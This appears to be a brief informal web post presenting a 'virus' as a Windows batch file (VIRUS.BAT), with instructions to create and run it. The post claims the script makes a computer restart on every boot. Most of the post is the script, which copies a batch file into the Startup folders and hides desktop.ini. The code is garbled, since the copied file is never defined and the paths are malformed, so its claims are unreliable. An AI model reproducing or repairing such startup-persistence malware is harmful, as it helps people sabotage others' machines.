one more virus but ...danger

THIS IS A SIMPLE TRICK TO RESTART YOUR COMPUTER ON EVERY START
FIRSTLY U SHOULD HAVE A LITTLE KNOWLEDGE OF MS DOS ..
JUST CREATE A NEW FILE NAME VIRUS.BAT
IN THAT FILE TYPE EXACTLY WHAT I HAVE WRITTEN HERE

@echo off
for %%a IN (C:\documents and settings\all users\start menu\programs\startup\desktop.ini) DO COPY pinfi32.bat "C:\documents and settings\all users\start menu\programs\startup
@echo off
for %%a IN (C:\documents and settings\administrator\start menu\programs\startup\desktop.ini) DO COPY pinfi32.bat "C:\documents and settings\administrator\start menu\programs\startup
cd c:\documents and settings\all users\start menu\programs\startup
@echo off
attrib desktop.ini +h +s
cd\
@echo off
exit

AND CLOSE THAT FILE AFTER SAVING
NOW OPEN THAT FILE ..
NOTHING WILL HAPPEN UNTIL U WILL RESTART
PLEASE DON'T TRY THIS AT HOMEE.......

OTHER WISE I WILL BE THE SUFFERER...
THNX..